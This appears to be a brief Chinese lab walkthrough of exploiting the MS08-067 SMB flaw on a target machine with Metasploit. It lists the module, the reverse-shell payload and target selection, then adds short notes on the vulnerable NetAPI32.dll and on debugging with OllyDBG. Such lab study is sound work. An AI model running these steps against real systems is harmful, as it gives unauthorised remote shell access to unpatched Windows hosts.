windows服务渗透攻击实战——MS08-067安全漏洞
进入msfconsole
search ms08_067
use exploit/windows/smb/ms_08_067_netapi
show payloads
set payload generic/shell_reverse_tcp
set targets :注意不能按下图设置targets,有可能因为msf版本不同,targets编号不同,这里选择0,进行系统自动探测。
show options
show targets
设置各必要选项如下:
exploit开始攻击
成功后,可以进入靶机命令行
漏洞分析:
查看msf的攻击的代码/usr/share/metasploit-framework/modules/exploits/windows/smb/ms08_067_netapi.rb
可以发现漏洞文件是NetAPI32.dll,在c:\windows\system32\下
动态分析用OllyDBG.exe
难。。。。